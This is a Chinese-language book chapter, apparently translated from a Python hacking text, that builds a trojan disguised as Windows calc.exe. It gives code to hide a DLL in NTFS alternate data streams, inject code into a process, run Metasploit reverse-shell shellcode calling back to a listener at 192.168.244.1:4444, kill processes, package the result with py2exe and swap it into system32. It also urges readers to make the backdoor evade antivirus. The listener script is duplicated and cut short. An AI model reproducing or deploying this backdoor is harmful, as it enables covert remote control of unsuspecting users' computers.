7.2 邪恶的代码

现在让我们本着学以致用的目的,用注入搞点好玩的东西。我们将创造一个后门程序, 将它命名为一个系统中正规的程序(比如 calc.exe)。只要用户执行了 calc.exe,我们的后门

就能获得系统的控制权。cacl.exe 执行后,就会在执行后门代码的同时,执行原先的 calc.exe (之前我们的后门命名成 calc.exe,将原来的 cacl.exe 移到别的地方)。当 cacl.exe 执行后, 通过注入,反弹一个 shell 到我们的机器上,最后我们再注入 kill 代码,杀死前面运行的程 序。

等一等!我们难道不能直接结束 calc.exe 吗?简单地说,可以。但是终止进程对于后门 来说是一项很关键的技术。比如,你能通过枚举进程,找出杀毒软件和防火墙的的进程,然 后简单的杀死。或者你也能,通过上一章学到的注入技术,在离开前杀死进程。技术不止一 种,选择合适的是最重要的。

最后我们还会介绍如何将 Python 脚本编译成一个单独的 Windows 可执行文件,以及如 何偷偷的加载 DLL。接下来先看看如何将 DLL 隐藏起来。

7.2.1 文件隐藏

我们的后门会做成 DLL 的形式,为了能够它安全点,得用一些秘密的方法将它藏起来。 我们能够用捆绑器,将两个文件(其中包括我们的 DLL)捆绑起来,不过 WE ARE Python Hacer,当然得有点不一样了。

OS 就是我们最好的老师,NTFS 同样提供了很多强大而隐秘的技巧,今天我们就用 alternate data streams (ADS)。从 Windows NT 3.1 开始就有了这项技术,目的是为了和苹果 的系统 Apple heirarchical file system (HFS)进行通讯。ADS 允许硬盘上的一个文件,能够 将 DLL 储存在它的流中,然后附加到主进程执行。流就是隐藏的文件,但是能够被附加到任 何在硬盘上能看得到的文件。

使用流隐藏的文件,不用特殊的工具是看不见的。目前很多安全工具也还不能很好的扫 描 ADS,所以用此逃避追捕是非常理想的。

在一个文件上使用 ADS,很简单,只要在文件名后附加双引号,接着跟上我们想隐藏 的文件。

reverser.exe:vncdll.dll

在 这 个 例 子 中 我 们 将 vncdll. dll 附 加 到 reverser.exe 中 。 下 面 写 个 简 单 的 脚 本 file_hider.py,就当的读取文件然后写入指定文件的 ADS。

#file_hider.py import sys
# Read in the DLL
fd = open( sys.argv[1], "rb" ) 
dll_contents = fd.read() 
fd.close()
print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) 
fd.write( dll_contents )
fd.close()

很简单,第一个传入的参数就是我们想隐藏的 DLL,第二参数就是目标文件。用这个 工具我们就能够很方便的,通过写入流的方式,将我们的文件和目标文件结合在一起。

7.2.2 编写后门

让我们构建我们的重定向代码,只要简单的启动指定名字的程序就行了。之所以叫执行 重定向,是因为我们将后门的名字命名为 calc.exe 了还将原来的 calc.exe 移动到了别的地方。 当用户测试执行计算器的时候,就会不经意的执行了我们的后门,后门程序通过重定向代码, 启动真正的计算器。用户会看不到任何邪恶的东西,依旧正常的使用计算器。下面的脚本引 用了第三章的 my_debugger_defines.py,其中包含了创建进程所需要的结构和常量。

#backdoor.py
# This library is from Chapter 3 and contains all
# the necessary defines for process creation 
import sys
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32 
PAGE_EXECUTE_READWRITE = 0x00000040 
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
# This is the original executable
path_to_exe = "C:\\calc.exe"
startupinfo = STARTUPINFO() 
process_information = PROCESS_INFORMATION() 
creation_flags = CREATE_NEW_CONSOLE 
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0 
startupinfo.cb = sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection 
kernel32.CreateProcessA(path_to_exe,
    None, None, None, None,
    creation_flags, None,
    None, byref(startupinfo),
    byref(process_information)) 
pid = process_information.dwProcessId

一样很简单,没有新代码。接下来让我们把注入的代码加到后门中。我们的注入函数能 够处理代码注入和 DLL 注入两种情况;parameter 标志设置为 1,data 变量包含 DLL 路径, 就能进行 DLL 注入,默认情况下 parameter 设置成 0,就是代码注入。跟黑的在后面。

#backdoor.py
...
def inject( pid, data, parameter = 0 ):
    # Get a handle to the process we are injecting into.
    h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 
    if not h_process:
        print "[*] Couldn't acquire a handle to PID: %s" % pid 
        sys.exit(0)
    arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
    written = c_int(0)
    kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written))
    thread_id = c_ulong(0) 
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 
        start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibra 
        parameter = arg_address
    if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)):
        print "[*] Failed to inject the DLL. Exiting." 
        sys.exit(0)
    return True

现在我们有了能够支持两种注入的代码。是时候将两段不同的 shellcode 注入真正的 cacl.exe 进程了,一个 shellcode 反弹 shell 给我们,另一个杀死后门进程。

#backdoor.py
...
# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 
#Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode = 
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ 
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ 
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ 
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ 
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ 
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ 
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ 
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ 
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ 
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ 
    "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ 
    "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ 
    "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ 
    "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ 
    "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ 
    "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \
    "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ 
    "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" 
inject( pid, connect_back_shellcode )
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
our_pid = str( kernel32.GetCurrentProcessId() ) 
process_killer_shellcode = \
    "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
    "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
    "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
    "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
    "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
    "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
    "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
    "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
    "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 
    "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 
padding = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "\x00" * padding ) 
replace_string= "\x41" * 4 
process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value )
# Pop the process killing shellcode in 
inject( our_pid, process_killer_shellcode )

All right!后门程序通计算器(系统的 cacl.exe 有按钮和数字在上面)的 PID,将 shellcode 注入到进程里,然后通过第二个 shellcode 自我了断。这个后门综合了很多不同的技术。每 次重要目标系统中有人运行了计算器(当然你能够改成别的服务级别的文件,随系统启动), 我们就能够取得机器的控制权。接下来就是键盘记录,嗅探数据包,任何你想干的,都去干 吧!!! 但是在这我们还疏忽了一点,不是每台机器都安装了 Python,他们为什么不用 Linux 呢?如果这样估计我也不用翻译这本数了,哈!别担心,我们有 py2exe,它能把 py 文件转 换成 exe 文件。

7.2.3 py2exe

py2exe 是一个非常方便的 Python 库,能够将 Python 脚本编译成完全独立的 Windows 执行程序。记得在下面的操作都是基于 Windows 平台,Linux 平台内置 Python。py2exe 安 装完成后,你就能够在脚本中使用他们了。在这之前先看看调用它们。

#setup.py
# Backdoor builder
from distutils.core import setup 
import py2exe 
setup(
    console=['backdoor.py'],
    options = {'py2exe':{'bundle_files':1}}, 
    zipfile = None,
)

很好很简单。仔细看看我们传入 setup 的函数。第一个,console 是我们要编译的 Python 脚本。 options 和 zipfile 参数设置为需要打包的 Python DLL 和所有别的依赖的库。这样我 们的后门就能在任何没有安装 python 的 windlws 系统上使用了。确保 my_debugger_defines.py, backdoor.py, 和 setup.py 文件在相同的目录下。在命令行下输入以下命令,编译脚本。

python setup.py py2exe

在编译完成后,在目录下会看到多出两个目录,dist 和 build。在 dist 文件夹下可以找到 backdoor.exe。重命名为 calc.exe 拷贝到目标系统,并将目标系统的 calc.exe 从 C:\WINDOWS\system32\ 拷贝到别的 目录(比如 C:\ folder)。将我们的 calc.exe 复制到 C:\WINDOWS\system32\ 目录下。现在我们 还需要一个简单的 shell 接口,用来和反弹回来的 shell 交互,发送命令,接收结果。

#backdoor_shell.py
import socket 
import sys
host = "192.168.244.1"
port = 4444
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) 
server.bind( ( host, port ) )
server.listen( 5 )
print "[*] Server bound to %s:%d" % ( host , port ) 
#backdoor_shell.py
import socket 
import sys
host = "192.168.244.1"
port = 4444
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) 
server.bind( ( host, port ) )
server.listen( 5 )
print "[*] Server bound to %s:%d" % ( host , port )

这是一个非常就当的 socket 服务器,仅仅是接受一个连接,然后处理一些基础的读写工 作。你可以修改 host 和 port 为自己需要的参数(比如 53, 80 )。先运行服务器进行端口 监听,然后在远程的系统(本机也行)上运行 cacl.exe。你会看到弹出了计算器的窗口,同时 你的 Python shell 服务器也会接收到一个连接,开始读取数据。为了打断 recv 循环,请按下 CTRL-C 键,然后程序提示你输入命令。这时候就能做很多事情了,比如使用 WIndows shell 内建的命令,比如 dir,cd ,type。每个命令的输出结果都能够传输回来。现在你拥有了一 个高效的后门。用你的想象力扩展它,让它更猥琐,让它能逃过更多的杀毒的软件,更隐蔽。 我们的目标就是没有最坏,只有更坏。用 Python 的好处就是,快速,简单,可重用。

当你看完这章,你已经学会了 DLL 和代码注入这两种非常有用的技术。在今后的渗透 测试或者逆向工程中,你会发现花在这些技能上的精力是值得的。接下来我们会变得更黑, 我们要开始学习如何破坏程序。用 Python,用 Python-based fuzzer,用所有伟大的开源工具。